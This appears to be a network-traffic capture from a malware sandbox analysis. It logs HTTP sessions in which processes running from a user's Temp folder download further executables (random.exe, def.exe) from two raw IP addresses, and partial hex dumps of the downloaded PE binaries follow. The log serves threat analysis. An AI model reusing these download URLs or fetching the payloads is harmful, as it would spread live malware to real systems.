Dec 18, 2024 17:09:32.594957113 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 18, 2024 17:09:32.912695885 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 18 Dec 2024 09:54:38 GMT Age: 22494 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 18, 2024 17:09:36.172730923 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 18, 2024 17:09:36.500469923 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 18 Dec 2024 09:54:38 GMT Age: 22498 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 18, 2024 17:09:46.571680069 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50022	31.41.244.11	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:30.522258997 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 17:09:31.847410917 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:31 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 18, 2024 17:09:31.847585917 CET	224	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3
Dec 18, 2024 17:09:31.847734928 CET	1236	IN	Data Raw: c9 c2 0c 00 8b 44 24 08 85 c0 74 0c a3 6c e9 41 00 b8 05 40 00 80 eb 3a 56 8b 74 24 08 57 8d 7e 24 83 3f 00 74 0f 8b 4e 20 8d 46 34 50 83 c1 08 e8 c0 11 01 00 8b cf e8 da 29 01 00 83 7e 1c 00 74 0c ff 76 40 ff 76 28 ff 15 80 a1 41 00 5f 33 c0 5e Data Ascii: D$tlA@:Vt$W~$?tN F4P)~tv@v(A_3^UVuA}juuv(j}iuv(jjuVP^]=AtjA=XAtL$AVQ3=lAQjjPR=Atj5XAA^L$
Dec 18, 2024 17:09:31.848061085 CET	1236	IN	Data Raw: 8b 76 0c 85 f6 59 74 06 8b 06 56 ff 50 08 5e c3 83 6c 24 04 04 e9 76 ff ff ff 56 6a 01 8b f1 e8 d3 fc ff ff 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 66 83 24 41 00 8b c6 5e c2 04 00 55 8b ec ff 75 0c 8b 4d 08 e8 03 fc ff Data Ascii: vYtVP^l$vVjFfT$fAFFf$A^UuMuME]Vt$NFuhVrzY3^Uh$AuYYtEMPQ3hAu{YYu@]L$IAujP3VNXAD
Dec 18, 2024 17:09:31.848068953 CET	1236	IN	Data Raw: 8d 55 d4 0f 95 c0 52 6a 0c ff 75 0c 89 46 3c 8b 46 0c 8b 08 50 ff 51 18 3b c7 89 45 0c 74 19 8d 4d d4 e8 fe 08 01 00 ff 75 f0 e8 ec 75 01 00 8b 7d 0c 59 e9 cf fe ff ff 0f b7 45 d4 3b c7 74 1a 83 f8 40 74 07 6a 66 e9 71 ff ff ff 8b 45 dc 89 46 34 Data Ascii: URjuF<FPQ;EtMuu}YE;t@tjfqEF4EF8EPAF4PEPA9~<t3Y>jh/N4QPYY%jlu;YtxXAH3PMF (F jQHxx,
Dec 18, 2024 17:09:31.848540068 CET	672	IN	Data Raw: 64 a1 41 00 eb 7a 83 3d 90 e9 41 00 00 75 6f 8b 35 68 a1 41 00 68 d0 a5 41 00 bb c4 a5 41 00 53 c7 05 90 e9 41 00 01 00 00 00 ff d6 8b 3d 6c a1 41 00 50 ff d7 6a 00 89 45 fc 0f b7 05 80 e9 41 00 68 09 04 00 00 6a 00 50 8d 45 bc 68 a8 a5 41 00 50 Data Ascii: dAz=Auo5hAhAASA=lAPjEAhjPEhAPA}uhASPEtjEPjU3_^[U,SVW3WAjXPE0A}j`X5TAj`jdPv\|=j[j=j[j_EPju@AWSuW
Dec 18, 2024 17:09:31.848922968 CET	1236	IN	Data Raw: 50 ff 51 0c 39 75 fc 74 3f ff 75 fc e8 d4 fd ff ff 59 8d 4d d8 51 6a 18 50 89 45 fc ff 15 40 a0 41 00 6a 06 ff 75 e0 ff 75 dc 56 56 56 ff 75 08 ff 15 84 a2 41 00 ff 75 fc 56 68 72 01 00 00 ff 75 08 ff 15 b8 a2 41 00 8b 45 f0 8b 08 50 ff 51 08 33 Data Ascii: PQ9ut?uYMQjPE@AjuuVVVuAuVhruAEPQ3@WPA3_^[f=AuD<AfAAfft@Af=uDAA;ufAAUSV339AtAM9tFA9u9
Dec 18, 2024 17:09:31.848928928 CET	1236	IN	Data Raw: 5b c2 04 00 8b 01 8b 51 04 8b 4c 24 08 2b d1 8d 54 12 02 8d 0c 48 52 51 8b 4c 24 0c 8d 04 48 50 ff 15 3c a2 41 00 83 c4 0c c2 08 00 53 56 57 eb 3b 8b 02 8b 39 8a 1c 07 8a c3 e8 db f5 ff ff 84 c0 75 27 80 fb 3b 75 2d 3b fe 7d 12 8b 01 8b 32 80 3c Data Ascii: [QL$+THRQL$HP<ASVW;9u';u-;}2<0t@;B\|2_^[Ar91\|S\$VWu33\|$Gt$P$AtF;w\|3_^[t3GVt$W39~~(Ft$P$AujWPOG;~
Dec 18, 2024 17:09:31.849621058 CET	1236	IN	Data Raw: 37 00 89 75 f4 e8 ec fd ff ff 57 e8 ef 64 01 00 59 5f 8b 45 08 5e 5b c9 c2 0c 00 53 56 8b 74 24 0c 57 8b f9 8b 47 04 39 06 7e 02 89 06 8b 5c 24 14 53 e8 d0 e6 ff ff 8b 06 50 03 c3 50 8b cf e8 ec fa ff ff 5f 5e 5b c2 08 00 8b 44 24 08 ff 30 8b 44 Data Ascii: 7uWdY_E^[SVt$WG9~\$SPP_^[D$0D$0YY@W\|$D$xt.SVpFPVPVSjt$,8Af$A^G[_USVuE39Xt2WxS?ESAPQNPWuSuA
Dec 18, 2024 17:09:31.849628925 CET	1236	IN	Data Raw: 4d f4 e8 72 f8 ff ff f6 85 a4 fd ff ff 10 8b 7d f4 74 35 68 88 a6 41 00 8d 85 d0 fd ff ff 50 ff 15 24 a1 41 00 85 c0 74 33 68 80 a6 41 00 8d 85 d0 fd ff ff 50 ff 15 24 a1 41 00 85 c0 74 1d 57 e8 58 ff ff ff 59 eb 10 6a 00 57 ff d6 85 c0 74 4b 57 Data Ascii: Mr}t5hAP$At3hAP$AtWXYjWtKWAt@PSAqSAjutuAtW_3@W_3Y_^[=lAt3@Vt$VAu3@^ujVAtVA^3^VY^
Dec 18, 2024 17:09:31.976713896 CET	1236	IN	Data Raw: 8d 4d a4 e8 d0 dd ff ff 8d 4d b0 e8 c8 dd ff ff 8b 4d fc 8b 07 89 4d f8 8d 34 08 8d 4d d4 e8 e3 f3 ff ff 8a 0e 33 db eb 14 80 f9 3d 74 1d ff 75 f4 8d 4d d4 e8 d5 f4 ff ff 43 8a 0c 1e 8a c1 88 4d f4 e8 57 e7 ff ff 84 c0 74 de 68 e9 fd 00 00 8d 45 Data Ascii: MMMM4M3=tuMCMWthEPEP^PMuZuZYY ]M M<=EMu<"t<-uulYFYuE0AFe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50038	185.215.113.16	80	4408	C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:34.100931883 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 18, 2024 17:09:35.456624985 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:34 GMT Content-Type: application/octet-stream Content-Length: 3034624 Last-Modified: Wed, 18 Dec 2024 15:29:19 GMT Connection: keep-alive ETag: "6762ea4f-2e4e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 00 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf2@02'.@Wk1T1 @.rsrc@.idata @exbexgpl@+2+@obzesrhz1(.@.taggant02",.@
Dec 18, 2024 17:09:35.456836939 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:35.456852913 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:35.457534075 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:35.457938910 CET	1236	IN	Data Raw: f7 4f 34 be 3d e5 84 88 5e b2 68 c2 01 ae e2 2c 2d c6 bc 81 a5 14 7e 14 4c 34 da de 36 90 e4 f1 6a 4c 51 1b 6e 8c 30 fe 39 89 48 04 ce b3 31 2a 9e 84 a4 3e 0a aa fd a8 6d 83 b4 6d 35 65 e4 28 ce 10 19 d5 d5 c9 08 12 3c 45 ae 03 8e 83 ec cf 3c 29 Data Ascii: O4=^h,-~L46jLQn09H1>mm5e(<E<)qppVs?-22Mt2jQ-DvKB:4}85V(-}>dvH6L]mH8=M4@QQ 3GQ\|9
Dec 18, 2024 17:09:35.457956076 CET	1236	IN	Data Raw: c6 50 96 4e 87 38 f4 c3 25 6c a8 3f ef b9 67 4b ae 56 b0 39 3d 15 89 c6 bc 97 e4 31 d2 0c 4e fe bd b6 0c d6 8b ec dc 9c cc 72 80 d1 94 90 04 ae 21 35 65 e9 33 45 e7 02 16 96 2d 91 38 64 68 f2 6d 50 da cd 2d fc 6a 24 f2 41 e3 35 1e d1 c8 dd bf 33 Data Ascii: PN8%l?gKV9=1Nr!5e3E-8dhmP-j$A53nK\|8XN@<Hd);o+FdWP)h&*T4_JZ{&{0Kb9%n-BuhUc&n9
Dec 18, 2024 17:09:35.458848953 CET	1236	IN	Data Raw: 4a 7d 85 6a 76 7b 88 c8 79 89 fb 7f 3d b3 9c 13 ef 21 53 1e a3 00 a0 2e 97 ae 95 32 66 86 9c 0b 89 d3 73 ef 79 b1 b1 e4 65 63 e8 b2 56 28 c0 c3 c7 fc 86 53 bf 91 66 cf 7c ec 58 04 d9 e0 12 52 bf ab 3a 77 bd 28 c9 b1 1e 2f 3d b4 75 9f 79 c8 e9 70 Data Ascii: J}jv{y=!S.2fsyecV(Sf\|XR:w(/=uypR#Q6 ._95LL&=\|C&p::'onIz1[KSHVv9wT\|4Yxb=mBn^'\|u=9"Ipb_ZqT-x
Dec 18, 2024 17:09:35.458868027 CET	1236	IN	Data Raw: ee ee af 4b 3c 2c 3b cf 31 90 10 a6 ef ce fd ec 95 9f 36 e3 67 1c e3 91 3d 0e 31 61 1c 49 8b 48 1a 88 91 4c 48 24 17 e2 a0 28 51 0e da db f0 e9 35 14 da 96 ac 72 af ff 70 59 38 c8 1e d1 05 75 3c 46 f5 14 28 0e ca 4a 3d d0 d9 8c 74 ad 9f cf b0 77 Data Ascii: K<,;16g=1aIHLH$(Q5rpY8u<F(J=tw)LFG+>R~X.CK-Ve#@d>@Y[C+B]jr*45c~'.g]UDhv\gwT3w/J-s4\|Bc&y
Dec 18, 2024 17:09:35.459542036 CET	1224	IN	Data Raw: ca f0 b2 7d ed 1a d2 c6 69 ed c1 b5 fd b3 dc 4d d2 f6 ee 2f 1a a8 84 8b fc f4 28 9b da c2 cc b1 dd 8c 2c c8 21 93 46 97 19 d3 34 d4 c5 7d 84 c6 74 f0 6b 26 49 9a bc ff 0e 93 32 c6 3f 7b 72 ee 81 79 a4 a0 46 c3 d5 4e f6 4a 05 28 2d 04 c6 c2 42 ba Data Ascii: }iM/(,!F4}tk&I2?{ryFNJ(-B2Thb^T:?\UM_%`qxeTPGsorzJF-<p0y$zu\|sk:R>WAc0#+71/y0_w@
Dec 18, 2024 17:09:35.459558964 CET	1236	IN	Data Raw: 4f b5 34 e0 d7 51 11 c5 69 13 a6 99 30 82 44 1b 28 46 f0 88 38 2a 44 01 94 09 35 25 02 ae 17 f6 75 d0 bb 72 1b e6 e2 1f 9d f2 33 e3 d7 ef 7e ca df ce d4 3f 3c 8e 3c 41 20 04 3f 45 99 47 88 fe 39 84 c1 e9 5b 0b cb 09 5e c5 28 ac 72 bc b2 79 87 82 Data Ascii: O4Qi0D(F8*D5%ur3~?<<A ?EG9[^(ry8-SAo%Cco+AGB#NLDa@X 6<xM7Mha#0.fFL~u>kYz!u0uCzb<90G9E_U
Dec 18, 2024 17:09:35.576409101 CET	1236	IN	Data Raw: 9b 85 06 d2 b5 8f a8 bb ac 4e b0 c4 85 56 d0 3a 80 4e bc c2 b0 52 8f ae 85 00 41 e2 d3 ec 62 47 24 fb bc 31 a6 a0 fa e5 b1 bc b4 39 9e 6b e3 a9 2b b0 68 e9 5a 32 2c 73 70 fc 34 5b bf d1 08 4a 32 c0 38 4c 36 03 1c ea 17 00 f7 df cc 3d 57 d4 d3 e8 Data Ascii: NV:NRAbG$19k+hZ2,sp4[J28L6=WcL4M505vyn.$,CnB~(02@MG_.E:bRnvj>6-cNpkzQ8&?-V?TkodVTQ5^@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50046	185.215.113.16	80	2008	C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:35.986610889 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 18, 2024 17:09:37.331278086 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:36 GMT Content-Type: application/octet-stream Content-Length: 1731584 Last-Modified: Wed, 18 Dec 2024 15:27:32 GMT Connection: keep-alive ETag: "6762e9e4-1a6c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 45 00 00 04 00 00 cc 43 1b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@E `@ EC`Ui`D @ @.rsrcD`2@.idata 6@ `*8@ovwuuiwl +:@aeypuusq EF@.taggant@@E"J@
Dec 18, 2024 17:09:37.331478119 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:37.331501007 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:37.331999063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:37.332046986 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:37.332993031 CET	920	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:37.333013058 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:37.333553076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: m9;nym5h{}`~s*q4hFS;`Ex`iokaMkq8
Dec 18, 2024 17:09:37.333571911 CET	1236	IN	Data Raw: 2e ce f7 45 a1 ce ed b3 77 a3 6a c5 49 45 06 e1 72 cb d9 a3 2b 7f 6e dc 29 d7 e2 a2 6d 7d 08 bd 8b cc 56 da e4 ec 0a c1 0d 60 17 b9 be 2c 29 d1 8d f7 4c a8 4a ad 8e b0 4b 24 6a e1 86 27 f4 da 7d 0c 08 1b 7b de 22 c7 79 f9 6e 40 a4 cf 6f af dc c7 Data Ascii: .EwjIEr+n)m}V`,)LJK$j'}{"yn@on8\|voAnxX"b;sDT/kdR~"8.C ZQv+C=g*XsQ6:7l{ oz7LsJkg"G;$!=<q/o
Dec 18, 2024 17:09:37.334095955 CET	1236	IN	Data Raw: 40 11 1b 62 e0 16 6a 65 cd ca 39 87 ce c4 94 43 a9 bf fa 4b ca ed da f4 df 66 f8 09 05 bd 12 3f e9 f6 d5 af af c6 dd 06 30 0e fd 36 dd 57 cd 60 9f dd f3 c9 00 a4 fc 66 7b 45 1d 91 b2 4f f5 f1 b7 4c a7 43 5c 7f c4 84 ac f8 ca 8d 80 30 74 a4 3d c7 Data Ascii: @bje9CKf?06W`f{EOLC\0t=Thu_UIw_)ou`(xdL.m'-8t)&z}~#4ZKgQ\|6z,ssw&aH8*xLo2b_wp&xMg\p;
Dec 18, 2024 17:09:37.456720114 CET	1236	IN	Data Raw: 17 dc 89 d8 42 1f 15 92 90 0f d1 1a 32 10 3a ad db b2 ee 80 2a 64 0c ef 8e 30 1f 7f bf 61 10 91 91 3b 59 98 b2 0d b9 ae 99 aa 44 20 81 fa 03 95 39 7f 99 ae 2e 60 fd e8 81 01 f8 de 33 25 c5 51 de 3e d3 b9 6f 2a 38 75 31 d9 aa 7b f5 b2 db 1e 82 67 Data Ascii: B2:d0a;YD 9.`3%Q>o8u1{g*d?fjpy<Vzk)\|j9mYk\|9jk.l!<>E"p~{v5o)p5eflrTtHBbFC6f y?EjJo6<kjizRo
Dec 18, 2024 17:09:47.225117922 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 18, 2024 17:09:47.666783094 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:46 GMT Content-Type: application/octet-stream Content-Length: 2903552 Last-Modified: Wed, 18 Dec 2024 15:29:10 GMT Connection: keep-alive ETag: "6762ea46-2c4e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 80 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 4f 00 00 04 00 00 ea c3 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@O,@M$a$$ $h@.rsrc$x@.idata $z@nsggqmkp$\|@lrehquiqpO(,@.taggant0O",,@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
